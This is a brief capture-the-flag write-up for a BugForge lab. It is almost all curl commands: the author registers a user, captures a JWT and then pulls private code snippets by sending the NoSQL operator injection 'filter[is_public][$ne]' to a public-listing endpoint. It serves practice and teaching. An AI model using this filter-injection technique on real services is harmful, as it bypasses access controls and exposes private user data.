> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/bugforge/daily/copypasta-010.md).

# copypasta-010

{% embed url="<https://app.bugforge.io/dashboard>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

{% code overflow="wrap" expandable="true" %}

```
TARGET="lab-1784407345160-nv7vdo.labs-app.bugforge.io"
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
curl -sk -X POST https://$TARGET/api/register -H "Content-Type: application/json" -d '{"username":"0xb0b","email":"0xb0b@bugforge.io","password":"0xb0b0xb0b"}'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NiwidXNlcm5hbWUiOiIweGIwYiIsImlhdCI6MTc4NDQwODEzOX0.yl_01KuuQyXqLnU5osEayxyl2qVa7kH0AWgLUBDi9tM"
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
https://lab-1784407345160-nv7vdo.labs-app.bugforge.io/snippet/8
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
Quick notes for anyone scripting against our snippet search.

Basic:
  GET /api/snippets/public?search=<text>&language=<lang>

Advanced field filters (narrow the public list by a stored field):
  GET /api/snippets/public?filter[language]=python
  GET /api/snippets/public?filter[title]=Fetch API Helper

This endpoint only ever lists snippets that are marked public.
```

{% endcode %}

FLAG:

{% code overflow="wrap" expandable="true" %}

```
curl -sk -G "https://$TARGET/api/snippets/public" --data-urlencode 'filter[is_public][$ne]' -H "Authorization: Bearer $TOKEN"
```

{% endcode %}
